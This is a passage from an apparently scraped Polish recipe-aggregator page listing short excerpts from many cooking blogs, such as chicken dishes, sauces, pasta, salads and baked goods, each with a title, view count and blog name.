ciała, trądzik znika i odkrywamy, że to, co dawała nam mama było całkiem spoko, a przedszkola nie karmią już kaczą kupą. Podejmujemy męskie decyzje, próbujemy zjeść szpinak, jajka w sosie chrzanowym i zupy mleczne. Nagle okazuje się, że to wcale nie jest takie niedobre i nie wyrywa zębów podczas jedzenia. Bardzo długo przekonywałam się do pasty jajecznej, dopiero jak zaczęłam

ladykitchen
Medaliony serowo-ziemniaczane 426

ziemniaków i serka twarogowego, z dodatkiem wędzonego, żółtego sera i szczypiorku. Można je wykorzystać zarówno jako dodatek do mięsa do obiadu, jak i samodzielne danie, podawane np. z sosem pieczarkowym. Z przepisu wychodzi 9 średniej wielkości medalionów. Więcej pomysłów na wykorzystanie ugotowanych ziemniaków możecie znaleźć tutaj . Składniki: 450 g osolonych, ugotowanych ziemniaków 150 g serka twarogowego (np. Philadelphia) 1/2 średniej

Bullio
Błyskawiczne piątki - podsumowanie 24.03.2017r. 186

białego cukru i margaryny     Joanna  Błyskawiczne rogi serowe z powidłami śliwkowymi i rumem     Magdalena  Serniczek z Nutellą     Marzena  Makaron z sosem pomidorowym     A już dzisiaj zapraszam Was na kolejny błyskawiczny piątek

Magiczne Życie Marty
Kurczak z warzywami pod sojową pierzynką 261

szkl marchewki z groszkiem kilka różyczek brokuła przyprawa do kurczaka olej sojowa pierzynka 1 szkl ugotowanej soi firmy Targroch 1/2 szkl jogurtu naturalnego 1 gałązka selera naciowego 1 łyżka sosu sojowego 2 łyżki startego parmezanu 1 łyżka posiekanej świeżej lub suszonej kolendry 1 ząbek czosnku papryka słodka w proszku pieprz cytrynowy sok z cytryny sól 1. Mięso kroimy w kostkę

Fiołkowa Kuchnia Małgorzaty
Kurczak pod chlebową pierzynką 219

mięsa mi się jeszcze nie znudził. W takiej formie mogłabym go jeść niemal codziennie. Nie spodziewałam się, że kurczak wyjdzie aż tak smaczny. Mięso z kurczaka zapiekamy w pomidorowym sosie. Jakby tego było mało przykrywamy pyszną chlebową kruszonką. Kurczak pod chlebową pierzynką z powodzeniem można podać na różnego rodzaju uroczystościach rodzinnych , czy rozkoszując się winem przy kolacji .  Mięso jest

Pobite gary Barbary
Imprezowe parówki w chrupiącym cieście 630

Jeśli parówki nie będą się same obracać w oleju obracamy je np. łyżeczką. Nasze imprezowe parówki w chrupiącym cieście odsączamy z nadmiaru tłuszczu i od razu podajemy z ulubionym sosem (najlepiej smakują jeszcze ciepłe, choć są i zwolennicy zimnych ).   Smacznego

Słodkie okruszki
Kolejna propozycja na obiad - pyszne roladki drobiowe z ziemniakami i pomidorkami z cebulką 250

ziemniaków są wtedy dużo smaczniejsze :). Pomidory myjemy, kroimy na ósemki. Cebulę obieramy z łupinki, myjemy i kroimy w drobną kostkę. Następnie wszystko umieszczamy w misce. W kubku robimy sos do pomidorów dodając 3 łyżki wody, 3 łyżki oliwy, 1/3 płaskiej łyżeczki soli, szczypta pieprzu, i 1 łyżeczka płaska ziół prowansalskich, wszystko dokładnie mieszamy ze sobą, a następnie przed podaniem wlewamy

Gotuj z Mąką
KIEŁBASKI W CIEŚCIE FRANCUSKIM 216

szybkim reaserchu zasobów w kuchni zrobiłam kiełbaski zawijane w cieście francuskim, które zostało po wcześniejszych wypiekach. Rewelacyjny pomysł na przekąskę do piwa. Do tego pomidory z czerwoną cebulą, sos czosnkowy i przystawka jak się patrzy. Nie trzeba podawać przepisu, tutaj można wykazać się kreatywnością. Czy zawiniemy całą kiełbaskę, czy pół, czy na prosto czy na wspak i tak będzie wyglądało

pieprzny smaczek
smażone śledzie w sosie czosnkowo-cebulowo-pomidorowym... 237

będzie gorzki wlać sok pomidorowy (użyłam swój domowy "zobacz TUTAJ" ), wlać ocet jabłkowy, przyprawę w płynie, wsypać pieprz mielony, cukier, gotować na mniejszym ogniu z 5 minut, do gotowego sosu włożyć śledzie, zostawić do wystudzenia, przelożyć całość do głębszej miski, najlepiej smakują na drugi dzień - te śledzie są lepsze w smaku od takich gotowych w puszce............SMACZNEGO

W Mojej Kuchni Lubię
Makaron penne z kurczakiem i brokułami w sosie z sera gorgonzola 291

Kolejny pyszny pomysł na makaron z kurczakiem w sosie z sera gorgonzola. Choć ser ten nie każdy lubi, bo nie oszukujmy się, nie każdy przepada za serami pleśniowymi, ja szczerze mówiąc, też nie do końca lubię jakbym miała tak o zjeść, ale w tym wydaniu na prawdę jest świetne. Polecam spróbować, bo warto ! Składniki: makaron penne 1 filet z kurczaka

Gotuj z Mąką
Kotleciki - pulpeciki w sosie pomidorowym 124

Przychodzę do Was z nowym przepisem na obiad. Będą to kotleciki/pulpeciki w sosie pomidorowym. Składniki: opakowanie mięsa mielonego 1 jajko bułka tarta przyprawy: sól, pieprz, zioła prowansalskie, papryka (w zależności co zawsze dodajecie) 1/2 kostki rosołowej (również zależy od Was, można dać całą kostkę) 3 łyżeczki koncentratu pomidorowego 2 łyżeczki śmietany 1 łyżka mąki Przygotowanie: Z mięsa mielonego robimy kotleciki

My World by Dagmara Rek
Ryż z jabłkami 151

spód naczynia żaroodpornego, następnie wrzucam pokrojone jabłka i dodatkowo posypuję cukrem. Na sam koniec przysypuję wszystko kolejną porcją ryżu. Całość delikatnie ubijam łyżką. Ostatnim krokiem jest polanie całości sosem śmietanowo-cukrowym. Ryż zapiekam w piekarniku do około 30-40 min w temperaturze 180 - 200 st. C. Śmietana daje takiej przyjemnej, kremowej konsystencji. Ja jako dziecko jadłam bez niej. Smakowało całkiem

Justa próbuje gotować
Placuszki z cukini z szynką 161

mąką, bo widać czy placuszki się rozpadają czy nie. Wszystko jest zalezne od tego, ile soku puści cukinia. Niemniej jednak placki są warte zachodu ! Można podawać ze swoim ulubionym sosem, jednakże mi najbardziej smakowały bez żadnych dodatków.  Smacznego

Justa próbuje gotować
Pieczona pierś z kurczaka 188

wierzchu posypuję tymiankiem. Pierś układam w naczyniu żaroodpornym. Polewam odrobinę olejem z suszonych pomidorów- kilka łyżeczek. Piekę około 20 min w zamkniętym naczyniu, następnie naczynie wyciągam, ponownie podlewam sosem, który się utworzył w środku naczynia. Wkładam ponownie do piekarnika lecz juz bez pokrywy naczynia żaroodpornego.  Po 10 minutach mięso powinno być juz soczyste i gotowe do podania. Mój obiad

Justa próbuje gotować
Zapiekane tortille z mięsem mielonym 425

Zapiekane tortille z mięsem mielonym – to pomysł na sycący obiad :) Jeśli lubicie spaghetti z mięskiem mielonym w sosie pomidorowym, a przejadł Wam się już makaron, to polecam Wam właśnie to danie ;) Ser żółty można śmiało zastąpić mozzarellą wedle uznania :) Zapiekane tortille z mięsem mielonym – Składniki: 500g mięsa mielonego (u mnie […] The post Zapiekane tortille z mięsem mielonym

Kulinarne Przeboje
Kmichi jeon i marchew po koreańsku 178

tamtejszą kiszoną kapustą (lub z innym tajnym składnikiem, ale o tym w dalszej części wpisu), którą robi się bardzo prosto. Najprostszy sposób, to wymieszać poszatkowaną kapustę pekińską z sosem sojowym i ostrą papryką, a niektórzy mieszają tylko z papryką. Zamknąć w słoikach i czekać, aż będzie kwaśna. Nie tak dawno temu, bo pod koniec XIX wieku, kiedy w Korei

Kryzysowa Książka Kucharska
5 smacznych pomysłów na kurczaka 343

osób będących na diecie, sportowców, jak i tych, którzy lubią szybkie dania. Specjalnie dla Was wybrałam najciekawsze przepisy z kurczakiem z mojego bloga Zapraszam po inspiracje! Kurczak w sosie pomarańczowym z sezamem Kotlety z kurczaka Pieczone udka z kurczaka Sałatka z kurczakiem, jajkiem, pomidorami i kukurydzą Kurczak z papryką, ananasem i ryżem Jeżeli znacie ciekawe dania z kurczakiem, które warto

Kuchnia Bazylii
Zupa fasolowa z suszonymi śliwkami, Co ciekawego w Kauflandzie + ceny 222

połączenie smaków - pozostałe, dostępne pasty, tych akurat nie próbowałam - kiełki na patelnię, mój HIT, bardzo smaczne, szybki pomysł na ciepłe danie: podsmaż kiełki, dodaj pokrojone tofu, podsmaż, można wzbogacić sosem lub kaszą lub zjeść z pieczywem - mrożonki na zupy-krem, mój HIT, bardzo smaczne, warto czasem mieć w zamrażarce, dostępne w 2 kolorach i smakach: żółte warzywa lub czerwone warzywa

Qlinarnie i Qlinarnie
MUFFINY Z MĄKI JAGLANEJ 219

czekolady, posypane płatkami migdałów, lekkie, proste w wykonaniu.  Aby otrzymać mąkę jaglaną wystarczy zmielić kaszę jaglaną, którą można wykorzystać nie tylko do wypieków, ale i do zagęszczenia różnych sosów, lub gulaszu.  Składniki: 200 g mąki jaglanej (zmielona kasza jaglana) 100 ml oleju rzepakowego  1 jajko  1 tabliczka białej czekolady  50 g cukru trzcinowego

Kukuleczki
TARTA Z MIĘSEM Z INDYKA TIKKA 206

suszoną bazylią. Mozzarellę drobno rwę i rozkładam na cieście. Następnie przekladam mięso tikka. Na koniec posypuję kukurydzą. Tarte piekę ok 20min w 180 stopniach Góra - dół. Podaję z ulubionym sosem np. Czosnkowym

Gotowanie Patki
Placuszki z cukinii i batatów 190

placuszki będą chrupiące. Dodajemy jajka, drobno pokrojoną natkę pietruszki i cebulę, mąkę kukurydzianą, doprawiamy pieprzem i ostrą papryką. Całość dokładnie mieszamy. Smażymy na patelni. Ja swoje placuszki podałam z sosem czosnkowym

Delusional Trine
Makaron z dynią, szpinakiem i boczkiem 203

chwile podsmażyć i doprawić gałką muszkatołową. Dodać szklanke wody z gotowania makaronu. 7. Dusić 10 min pod przykryciem. 8. Dodać szpinak, doprawić sola i pieprzem. Krótko podsmażyć. 9. Wymieszać sos z makaronem, udekorować chipsami z boczku. INSTRUKCJA - film krok po kroku: Kaloryczność przepisu wg  Kalkulatora Kalorii :  KalkulatorKalorii.net Kalorie Masa Białka Tłuszcze Węglowodany Makaron

Atlas Smaków
Dyniowe kluski kładzione 162

Żółciutkie, przepyszne kluski, idealne jako dodatek do mięs, surówek. Idealne też są samodzielne tylko z masłem lub sosem jogurtowym. Do klusek użyłam pure z dyni, dynię świeżą wystarczy rozgotować pod przykryciem i zmiksować. Kluski są puszyste i smakują wybornie. Trochę koloru na talerzu na początku wiosny dobrze robi każdemu. Dyniowe kluski kładzione. ROZWIŃ I CZYTAJ DALEJ

Moje Małe Czarowanie
Gnocchi z szałwią i grzybami / Gnocchi with mushrooms and sage 270

kopytka to proces jest praktycznie taki sam. A wyszły przepyszne! Mięciutkie i puszyste, podane z masełkiem szałwiowym z grzybami i posypane startym parmezanem. Niebo w gębie! Przed wymieszaniem z sosem maślano-grzybowym podsmażyłam moje gnocchi bo lubię tą przysmażoną skorupkę, ale oczywiście wybór należy do Was, polecam ten przepis gorąco! Warto zapoznać się także z innym, równie fenomenalnym przepisem tego

karmelowy
gulasz z indyka z warzywami... 222

brokułem, wlać wodę i pod przykryciem dusić z 30 minut na średnim ogniu śmietaną 18% wymieszać z mąką i wodą, wlać do gulaszu i mieszać do zagotowania i zagęszczenia sosu gulasz smakuje z ryżem, ziemniakami, makronem, z pieczywem............SMACZNEGO

W Mojej Kuchni Lubię
Indyk z mango, żurawiną i miodem 210

dojrzałe mango 400 g filetu z indyka 3 garście żurawiny sól himalajska pieprz kurkuma natka pietruszki 4 łyżki miodu  olej kokosowy do smażenia śmietana 18% do zup i sosów 1. Mango obieramy ze skórki, kroimy w kosteczkę, wrzucamy na rozgrzany na patelni olej kokosowy. 2. Indyka kroimy w paski, wrzucamy do mango, dodajemy sól, pieprz i kurkumę, jak indyk

kruche babeczki
Jajka faszerowane tuńczykiem z olejem rzepakowym 185

oleju rzepakowego z trzech głównych powodów: - babki wielkanocne najlepsze są z olejem rzepakowym - jest najlepszy do marynaty do mięs - idealny do zrobienia domowego majonezu Składniki: - 1 puszka tuńczyka w sosie własnym - 6 jajek - 1 mała cebulka - 1 łyżeczka posiekanego szczypiorku - 3 łyżki majonezu - 2 łyżki oleju rzepakowego - barwniki spożywcze (żółty, zielony i pomarańczowy) - sól - pieprz - papryka Przygotowanie: Jajka gotujemy

Kulinarne życie
Churros 262

jest że Pani Kucharka jest niedoścignionym  wzorem w moim domu. Słyszę, że przyprawiłam NIE TAK JAK W SZKOLE, czy że W SZKOLE mają  inny sos. W sumie to nic złego, tylko się cieszyć.     Tak hiszpanie jedzą zdrowo, ...oprócz śniadania.    Te jak już pisłam, jest bardzo często

Lubczyk i Wanilia
Kurczak w pomidorach z kaparami 188

pomidory w kawałkach, wsypać kapry wg uznania Doprawić do smaku solą, pieprzem mielonym, odrobiną cukru, ziołami, gotować jeszcze chwilę by całość lekko się zagęściła. Tak przygotowane mięso z powstałym sosem podałam do ryżu

Proste Potrawy
Wiosenna sałatka ziemniaczana – zamiast ziemniaków do obiadu 312

się wziąć w rękę. Gorące ziemniaki razem ze skórką kroimy ostrym nożem na ćwiartki (lub ósemki, jeśli kupiliście większe). Wrzucamy do miski, wsypujemy koper, szczypior, wrzucamy rzodkiewkę. Całość zalewamy sosem, szybko razem mieszamy i podajemy ciepłe. Takie ziemniaki – lekko kwaśne, lekko kremowe, z chrupiącym świeżym akcentem – idealnie pasują do smażonej lub pieczonej ryby i jasnych, lekkich mięs (kurczak, indyk, cielęcina

Karo in the Kitchen
WARSTWOWA SAŁATKA Z TUŃCZYKA (keto, LCHF, optymalna, bez glutenu) 686

tylko na co dzień, ale i na rożnego rodzaju imprezach. Przepięknie prezentuje się w szklanym naczyniu i będzie znakomicie wyglądała na wielkanocnym stole Składniki: 400 g rozdrobnionego tuńczyka w sosie własnym 200 g masła 200 g sera żółtego 10 jajek 1 duża cebula biała lub czerwona (ok 150g) 400 g majonezu pęczek szczypiorku Jajka ugotować na twardo. Rozdzielić żółtka

Ola la LCHF
Gofry czekoladowe chrupiące 241

wtedy dobrze nie odparują i będą gumowe. W kąpieli wodnej wymieszaj czekoladę ze śmietanką i syropem. Wlej polewę do miseczki. Podaj ostudzone gofry z lodami i owocami polane czekoladowym sosem.     The post Gofry czekoladowe chrupiące appeared first on Blog kulinarny - codojedzenia.pl

codojedzenia
Jak otworzyć kokosa 176

mango Bananowy jogurt z domowym musli Tajska zupa z kurczakiem i mlekiem kokosowym Zupa tajska z kurczakiem Zupa dyniowa z marchewką Curry z kurczakiem Pulpeciki wołowo-wieprzowe w sosie azjatyckim Kurczak w mleku kokosowym Curry z ciecierzycą i kurczakiem

Kulinarne przygody Gatity
Dip cebulowy ze stoutem 192

Pomimo mojej niechęci do cebuli (łzy, ból i cierpienie), ja cebulę zwyczajnie uwielbiam. Zupy, sosy, cebula duszona, cebula surowa – zwyczajnie lubię. Zresztą, na terenach Polski cebula jest warzywem bardzo popularnym i jej przygotowanie stało się chyba sportem narodowym, sądząc po ilości przepisów z cebulą. Przeglądałam ostatnio notesy rodzinne (szukałam przepisów na Wielkanoc, które ... [Read more

Gotuj z Blue Raven
Krokiety z piersią z kurczaka i warzywami 221

dużo około jedna łyżka i zawijać jak na gołąbki. Panierować w jajku i bułce tartej. Część smażę, część mrożę wkładając w woreczki śniadaniowe.   Podaje z ulubionym sosem u mnie czosnkowy:)             alt="Codziennie baw się smakiem

Kubki smaku
Babeczki sezamowe z czekoladowym kremem 182

niedzielny deser polecam babeczki sezamowe z czekoladowym kremem. Ostatnio mam cały czas ochotę na sezam. Bardzo lubię tahini, zawsze mam w lodówce. Przyrządzam z niego sosy, dodaję do ciast, kremów, a nawet do kawy. Dzisiaj upiekłam babeczki sezamowe z tahini. Pyszne, puszyste babeczki przeuroczo pachnące sezamem. Babeczki posmarowałam czekoladowym kremem. Zgadnijcie, czy dodałam do niego tahini? No pewnie! Czekolada

codojedzenia
Makaron w doborowym towarzystwie 146

pokrojoną kalarepę i smażymy kilka minut. Następnie dolewamy śmietankę, dodajemy pokrojoną w paski cukinię oraz zioła. Dusimy pod przykryciem przez 10 min. Do smaku doprawiamy solą i pieprzem. Do sosu dodajemy makaron i brokuły. Wszystkie składniki dokładnie łączymy. Przed podaniem posypujemy posiekaną natką. /* Style Definitions */ table.MsoNormalTable {mso-style-name:Standardowy; mso-tstyle-rowband-size:0; mso-tstyle-colband-size

R'n'G Kitchen
Schab z dzika z ćwiartkami ziemniaków 223

łyżki musztardy 6-8 ząbków czosnku 2 łyżeczki cząbru 1 łyżeczka majeranku 1 łyżeczka octu balsamicznego Sposób przyrządzenia 1 Przygotowanie marynaty: Czosnek obrać i przecisnąć przez praskę. Dodać musztardę, sos balsamiczny, […] Artykuł Schab z dzika z ćwiartkami ziemniaków pochodzi z serwisu Blog kulinarny Pysiagotuje.pl

PysiaGotuje.pl
Pyzy z sosem z kaczki – kuchenny recykling 250

kaczki 1 mała cebulka 2 łyżeczki smalcu 3 łyżki mąki pyzy 1 szklanka przegotowanej wody sól, pieprz, ziarenka smaku, majeranek Sposób przyrządzenia 1 Zalegające mięso […] Artykuł Pyzy z sosem z kaczki – kuchenny recykling pochodzi z serwisu Blog kulinarny Pysiagotuje.pl

PysiaGotuje.pl
Jak przyprawiać ryby? 163

Często zastanawiamy się, jak doprawić rybę. Szeroką gamę smaków z pewnością oferują nam różnego rodzaju zioła. Są one praktycznie niezbędne do przygotowania wyśmienitej ryby z grilla, sosu śmietanowego czy ryby smażonej. Jakie zioła do ryb są najlepsze? Koniecznie sprawdź to w poniższym poradniku! Po pierwsze – koper! Jest najpopularniejszym ziołem, które dodawane jest do ryb. […] Artykuł Jak przyprawiać ryby

PysiaGotuje.pl
Domowe nachosy 347

pewnością będą one w centrum uwagi. A nawet jak zabraknie to dorobienie ich w trakcie imprezy nie jest problemem. A takie na ciepło, prosto z piekarnika, maczane w zimnym sosie smakują obłędnie. »»» CZYTAJ DALEJ

Marder&Marder Manufacture
Sandacz w pieczarkach, po Gorzowsku 248

mnie dziadkowie uwielbiali wędkować i strasznie mi teraz tego brakuje. Tych wypraw na ryby, szczególnie gdy mieszkało się nieopodal rzeki. Świeże płotki prosto z patelni, albo niepowtarzalne węgorze w sosie koperkowym. Mmm.. Poza walorami odżywczymi ryb,dla mnie równie ważna jest szybkość ich przygotowywania. A to, dla żyjących w biegu "młodych bogów" jest nader ważne, prawda? Składniki: filety

Karczma Honorietty
Bułeczki z czosnkiem niedźwiedzim i suszonymi pomidorami 216

Wymyśliłam je ostatnio,pyszne i niesamowicie aromatyczne,pachnie nimi cały dom,można je jeść  z lekkim jogurtowym sosem tzatziki lub aromatyczną oliwą,można ich nie zakręcać i wtedy łatwo je przekroimy na kanapkę-mniam.... Składniki: 500g mąki pszennej(ja użyłam mąki ekologicznej Polskie Młyny) 3 łyżki oleju rzepakowego(ja użyłam olej Polski) łyżeczka soli, łyżeczka cukru 40 g drożdży

Swojskie jedzonko
Pampuchy drożdżowe z sosem wiśniowym 227

ziarna). Smażymy około 20 minut, do momentu lekkiego zagęszczenia. 7 Pampuchy podajemy ciepłe z wiśniami i serkiem. *wpis powstał we współpracy ze sklepem online Bazylia.pl Artykuł Pampuchy drożdżowe z sosem wiśniowym pochodzi z serwisu kuchniabazylii.pl

Kuchnia Bazylii
Chrupiące grzyby w kukurydzianej panierce 243

Uwielbiam grzyby. Pamiętam, jak kiedyś nie mogłam się doczekać aż mój tata ugotuje ten wspaniały, niezapomniany, aromatyczny grzybowy sos… Na samo wspomnienie robię się głodna Tak samo uwielbiałam najróżniejsze smażone wersje grzybów. Gdy zobaczyłam w sklepie boczniaki… od razu postanowiłam przygotować z nich coś pysznego i szybkiego. Kilka składników, dobre przyprawy (polecam Skworcu ), kilka chwil i już posiłek

Słodkie okruszki
Oszukane mini udka na oleju rzepakowym 260

urocze, ale i mega smaczne.  Olej rzepakowy słynie ze swoich cudownych właściwości, dlatego też często gości u mnie w domu nie tylko w święta.  Jest idealnym składnikiem sosów do sałatek, dodatkiem do dań, jak również świetny do smażenia.  Składniki: ok 300 g mąki 200 ml kefiru 1/2 łyżeczki sody oczyszczonej sól 350 g mięsa mielonego drobiowego

Malinowe Pocałunki
Frytki z Warzyw 210

zioła prowansalskie, estragon , oregano, tymianek lub inne ulubione zioła imbir mielony cynamon mielony chili mielone opcjonalnie po upieczeniu frytki można skropić sokiem z cytryny Najbardziej lubię maczać warzywa z sosie jogurtowym, choć to tak naprawdę jogurt naturalny, do którego dodaję wyciśnięte ząbki czosnku, posiekany świeży koperek, sól, biały pieprz, odrobina cukru i czasami jak mnie coś natchnie nieduży ogórek starty

Blondynka Gotuje
Sałatka z ogórkiem, awokado i fetą 239

Był taki okres, że razem z Mężem zajadaliśmy się tego typu sałatkami w ramach drugiego śniadania w pracy. Sos pozostawał ten sam, podobnie jak mix sałat, zmieniały się jedynie dodatki. Jedną z tych sałatek była właśnie ta, z ogórkiem, awokado i fetą. Po kilku miesiącach jedzenia sałat na drugie śniadanie, serwuję ją już głównie jako dodatek do drugiego dania

Smaki Na Talerzu
Pieczone warzywa według Yotam Ottolenhgi 194

również dodajemy do warzyw. Mieszamy i pieczemy przez kolejne 30 minut, aż wszystkie warzywa będą miękkie. W szklance mieszamy sok z cytryny, musztardę, oliwę, syrop i sól. Polewamy sosem upieczone warzywa, dokładnie mieszamy i od razu podajemy

Kulinarne przygody Gatity
Galaretka z kurczakiem i szynką 13686

Wytrawna galareta z kurczakiem, szynką i warzywami. Składniki ułożyłam warstwami, dzięki czemu taka galareta nie tylko jest smaczna, ale też pięknie wygląda. Można ją podać jako przystawkę z sosem czosnkowym lub koperkowym. 1 marchewka 1 filet z kurczaka 1 papryka marynowana 6 plastrów szynki konserwowej 2 łyżki kukurydzy konserwowej 1 mały brokuł 1 litr buliony drobiowego (rosół) 7 łyżeczek żelatyny

https:KKuchniaMniam
Pesto ziołowe – zrób to sam! 206

Pesto jest to zielony lub czerwony sos, który coraz częściej pojawia się w polskiej kuchni. Tradycyjne pesto robione jest na bazie bazylii i ma kolor zielony, jednak można zrobić je także z pietruszki, rukoli czy pomidorów, z dodatkami sera i orzeszków. Pesto ma wiele rodzajów – w zależności od naszego gustu powstają coraz to nowe gatunki. Poniżej znajdziesz przepis

PysiaGotuje.pl
Jak zrobić karmel? 176

przewagi. W tym przypadku na patelnię lub do garnka prócz cukru należy dodać 1-2 łyżki wody. Przygotowanie karmelu trwa dłużej, jednak jest mniej inwazyjne – łatwiej kontrolować karmel. Sos karmelowy – jak go przygotować? Wystarczy ściągnąć garnek/patelnię z karmelem z ognia, dodać trochę masła i śmietankę kremówkę. Poczekać chwilę, aż składniki się połączą, dobrze wymieszać i podgrzewać jeszcze

PysiaGotuje.pl
Pizza z boczniakami i mozarellą 220

jeszcze droższa), ale jedno wiem na pewno. Pizza z boczniakami (nie truflami) i mozarellą (nie mozzarella di bufala – najbardziej ceniony ser bawoli) jest naprawdę wyśmienita. Moja pizza nie zawiera sosu, ani pomidorów, aby nie zabić delikatnego smaku boczniaków. Jedynym aromatycznym dodatkiem, bez którego też można się obejść, jest oliwa cytrynowa. Gorąco polecam i życzę smacznego. Polecam też inne przepisy

mojewypiekiinietylko
Pieczeń z selerem korzeniowym otulona boczkiem 326

obiadu podawać pokrojone w grube plastry. Smacznego :) Rada: Po usunięciu foli w formie znajdowało się sporo wody z tłuszczem. Zlałam to, zebrałam tłuszcz, a na tej wodzie zrobiłam sos do pieczeni. Kategoria: A-Z WYTRAWNIE , Dania jednogarnkowe , Mięsa , Na specjalne okazje , Obiad Świąteczny Tagged: boczek , jogurt naturalny , seler , szynka , wieprzowina

https:KKuchniaMniam
Najlepsze pieczone ziemniaki 160

przyprawach. Ziemniaki ułożyć skórką ku blaszce. Piekarnik nagrzać do 200 C (z termoobiegiem). Wsadzić do piekarnika i piec ok 40 minut (do miękkości ziemniaków). Podawać z ulubioną surówką czy sosami. Smacznego

CookYourself
Sałatka ze szpinakiem i jabłkiem 245

szpinak baby 1/2 jabłka ocet jabłkowy lub malinowy oliwa z oliwek żurawina pieprz sól Przygotowanie: Szpinak umyć osuszyć. Jabłko pokroić w zapałki. Z octu, soli i oliwy zrobić sos. Polać sałatę. Wkręcić świeży czarny pieprz. Posypać żurawiną

AZgotuj!
Roladki schabowe z mozzarellą i szpinakiem 205

oliwie po 2-3 min z każdej strony i przekładam do naczynia. do zapiekania. Zapiekam w 200 stopniach przez około 20 - 25 min pod folią, odkrywam polewam powstałym sosem i dopiekam do zarumienienia

Kulinarny Świat Konczi i Szpileczki
Faszerowane bataty 265

Bataty faszerowane szynką wieprzową i selerem, owinięte szynka parmeńską i podane z sosem jogurtowym. Składniki 250 g szynki wieprzowej 1/2 niedużego selera 8 plasterków szynki parmeńskiej 100 ml jogurty naturalnego … Czytaj dalej Faszerowane bataty

czarrna od kuchni
Kopytka z Gulaszem Węgierskim 189

romby" . Gotujemy w osolon y wrzątku do wypłynięcia , nas tę pnie zmniejszamy ogień i gotujemy jeszcze 1-2 minuty. Gotowe kopytka polewamy przygo towanym gulaszem lub wykładamy je obok sosu . M ożemy podać z ulubionymi sałatkami.   Moje posty

Słodka Strona
Pluszki, rosyjskie bułeczki z makiem, czyli O tym jak rośliny zmieniały bieg historii 250

kiedyś powszechny, uprawiany ze względu na smaczne nasiona używane w piekarnictwie i cukiernictwie, z jego nasion wytwarza się również cenny olej a w Indiach używa się go do przyrządzania sosów curry. Płatki zawierają alkaloidy z grupy papawerubiny, antocyjany i związki śluzowe przez co są cennym surowcem zielarskim. W Polsce dziko rosnących gatunków używa się rzadko ze względu na powolny zbiór

Dzieje kuchennej Wiewióry
Aromatyczna soczewica z suszonymi pomidorami i ryżem jaśminowym 258

się drobno posiekana w kostkę cebula oraz zmiażdżone ząbki czosnku. Dodajemy pokrojone w kosteczkę suszone pomidory. Dodajemy przyprawy: pieprz cytrynowy, kumin, curry, kurkuma, kolendra, chilli. Możemy podawać w towarzystwie sosów śmietanowych np. śmietana z kawałkami owoców mango, zielonego ogórka skropione cytryną

upichcona
Gulasz wołowy z suszonymi śliwkami 265

koncentrat pomidorowy. Wymieszać i dusić pod przykryciem na najmniejszym ogniu (około 2 godzin), do miękkości mięsa, co jakiś czas mieszając. W połowie gotowania dodać pokrojone suszone śliwki. Jeśli sos będzie za gęsty należy uzupełniać wodą. Doprawić solą i pieprzem. Smacznego (adsbygoogle = window.adsbygoogle || []).push({}); Zapisz

Oryginalny smak
Tureckie pide z nadzieniem z kurczaka 1640

wierzchu układamy mozzarellę. odstawiamy na ok 15 min. w tym czasie piekarnik nagrzewamy do 180 st. Wstawiamy i pieczemy ok 30 min aż brzegi ładnie się zrumienią. Podajemy z sosem czosnkowym

Gotowanie jest łatwe
Kiszone cytryny - cenny probiotyk 269

terpenów, rutyny. Jak każda kiszonka są probiotykiem i mają zbawienny wpływ na jelita i cały układ trawienny. Szczególnie cennym o tej porze roku. Jak je wykorzystać? Nadają się do sosów, dressingów, deserów, ciast, jogurtów, koktajli, sałatek, potraw mięsnych, rybnych i past. Składniki: 6 cytryn Bio niewoskowanych + 3 na sok 7 łyżek soli gruboziarnistej kawałek imbiru kawałek kory cynamonu 2 listki

Gotuj zdrowo!Guten Appetit!
wołowina z rękawa 188

kuchni. Składniki: - 0,5 kg mięsa wołowego z łopatki lub karku - 3 małe cebule marynata: - 4 posiekane ząbki czosnku - pieprz czarny grubo mielony - łyżka octu balsamicznego - dwie łyżki sosu worcestershire  - 0,5 szklanki oliwy Wołowinę kroimy w grubą kostkę i przekładamy do miski. Składniki marynaty mieszamy ze sobą i dokładnie nacieramy nią mięso. Szczelnie zamykamy i zostawiamy minimum

Cook&Love
Sałatka z kuskusem i cieciorką 280

Składniki 1/2 opakowanie kaszy kuskus (120 g) 1 puszka ciecierzycy 4-5 ogórków konserwowych 3-4 kawałki marynowanej papryki 1/2 małego pora przyprawa uniwersalna sos: 3 ząbki czosnku przeciśniętego przez praskę 1 … Czytaj dalej Sałatka z kuskusem i cieciorką

czarrna od kuchni
Makaron z cukinią i pieczarkami 160

warzywa są miękkie. Dodajemy jogurt i ugotowany makaron, doprawiamy kurkumą, pieprzem i solą. Dodajemy rozrobioną skrobię, parmezan i natkę pietruszki, smażymy jeszcze przez chwilę aż zrobi nam się gęsty sos

Delusional Trine
Gulasz z cytrynową nutą i fasolką szparagową. 264

cebuli. Dusimy do miękkości. Kiedy wszystko jest już miękkie dorzucamy oczyszczoną fasolę szparagową (może być mrożona). Doprawiamy do smaku solą i pieprzem. Gotujemy do miękkości fasoli.  Jeśli sos jest za rzadki możemy zagęścić go dodatkowo mąką.Możemy posypać po wierzchu posiekanym szczypiorkiem. Kuskus zalewamy wrzątkiem i odstawiamy do napęcznienia. Podajemy z gulaszem. Smacznego

Radość kipiąca uśmiechem.
Pikantna sałatka z czerwonego ryżu z marchewką 231

dodać do niego marchewkę i pokrojoną w plasterki dymkę. Do słoiczka wlać sok z limonki, miód i oliwę oraz drobniutko posiekaną papryczkę chilli. Słoik zakręcić i energicznie potrząsnąć, aby sos się połączył, spróbować i ewentualnie doprawić do smaku limonką lub miodem. Ryż z marchewką zalać winegretem, wymieszać i odstawić, aby smaki się połączyły. Sałatka powinna być kwaskowa i pikantna, wyrazista

Codzienne Gotowanie
Filet z indyka z makaronem sojowym 278

usmażonego indyka, podlewamy bulionem i całość dusimy jeszcze przez ok. 3-5 minut. W międzyczasie makaron sojowy przekładamy do miseczki, zalewamy wrzątkiem i czekamy 4 minuty. Makaron mieszamy z sosem i podajemy. Smacznego! Post Filet z indyka z makaronem sojowym pojawił się poraz pierwszy w Kulinarny Blog - wiesz jak gotować

Kulinarnyblog.pl - wiesz jak gotować!
Warsztaty kulinarne Pasta fresca część 2 185

piękne tagialtelle. Pięknie nam wyszło, prawda ? Lasagne gotowa do pieca ! W trakcie warsztatów przygotowaliśmy: Lasagne classica (klasyczna włoska lasagne) Lasagne vegetarian (wegetariańska lasagne) Pappardelle alla lepre (makaron pappardelle z sosem na bazie mięsa królika) Strascinati broccoli e salsiccia (włoski makaron w kształcie kluseczek z dodatkiem brokuła i włoskiej kiełbaski) Cristina, dziękuję pięknie za tak miło spędzony czas ! Było pracowicie, bardzo

